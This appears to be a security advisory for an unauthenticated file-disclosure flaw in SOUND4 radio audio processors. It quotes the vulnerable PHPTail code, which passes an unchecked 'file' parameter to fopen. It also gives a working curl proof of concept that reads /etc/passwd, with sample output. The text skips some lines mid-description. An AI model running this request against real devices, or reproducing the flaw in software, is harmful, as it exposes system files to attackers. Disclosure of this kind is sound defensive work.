SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x (PHPTail) Unauthenticated File Disclosure  
Vendor: SOUND4 Ltd.  
Product web page: |  
Affected version: FM/HD Radio Processing:  
Impact/Pulse/First (Version 2: 1.1/2.15)  
Impact/Pulse/First (Version 1: 2.1/1.69)  
Impact/Pulse Eco 1.16  
Voice Processing:  
BigVoice4 1.2  
BigVoice2 1.30  
Web-Audio Streaming:  
Stream 1.1/2.4.29  
WM2 (Kantar Media) 1.11  
Summary: The SOUND4 IMPACT introduces an innovative process - mono and  
stereo parts of the signal are processed separately to obtain perfect  
consistency in terms of both sound and level. Therefore, in moving  
reception, when the FM receiver switches from stereo to mono and back to  
stereo, the sound variations and changes in level are reduced by over 90%.  
In the SOUND4 IMPACT processing chain, the stereo expander can be used  
substantially without any limitations.  
With its advanced functionalities and impressive versatility, SOUND4  
PULSE gives clients the ultimate price - performance ratio, providing  
much more than just a processor. Flexible and powerful, it ensures perfect  
sound quality and full compatibility with radio broadcasting standards  
and can be used simultaneously for FM and HD, DAB, DRM or streaming.  
SOUND4 FIRST provides all the most important functionalities you need  
in an FM/HD processor and sets the bar high both in terms of performance  
and affordability. Designed to deliver a sound of uncompromising quality,  
this tool gives you 2-band processing, a digital stereo generator and an  
IMPACT Clipper.  
Desc: The application suffers from an unauthenticated file disclosure  
vulnerability. Using the 'file' GET parameter attackers can disclose  
arbitrary files on the affected device and disclose sensitive and system  
05: require 'phptail.php';  
06: /**  
07: * Initilize a new instance of PHPTail  
08: * @var PHPTail  
09: */  
10: if(isset($_GET['file'])) {  
11: $file=$_GET['file'];  
12: $file_display=$_GET['file_display'];  
13: } else {  
14: $file=getenv("PATH_TRANSLATED");  
15: $file_display="SOUND4 Log: " . getenv("PATH_INFO");  
16: }  
17: $tail = new PHPTail($file, $file_display);  
71: $data = array();  
72: if($maxLength > 0) {  
74: $fp = fopen($this->log, 'r');  
75: fseek($fp, -$maxLength , SEEK_END);  
76: $data = explode("\n", fread($fp, $maxLength));  
78: }  
79: /**  
80: * If the last entry in the array is an empty string lets remove it.  
81: */  
82: if(end($data) == "") {  
83: array_pop($data);  
84: }  
85: return json_encode(array("size" => $fsize, "data" => $data));  
Tested on: Apache/2.4.25 (Unix)  
GNU/Linux 5.10.43 (armv7l)  
GNU/Linux 4.9.228 (armv7l)  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Macedonian Information Security Research and Development Laboratory  
Zero Science Lab - - @zeroscience  
Advisory ID: ZSL-2022-5736  
Advisory URL:  
> curl -k "https://RADIOGAGA/cgi-bin/loghandler.php?ajax=251&file=/mnt/old-root/etc/passwd" | python -m json.tool  
"size": 519,  
"data": [  
"dbus:x:1002:1002:DBus messagebus user:/var/run/dbus:/bin/false",  
"sshd:x:1003:1004:SSH drop priv user:/:/bin/false"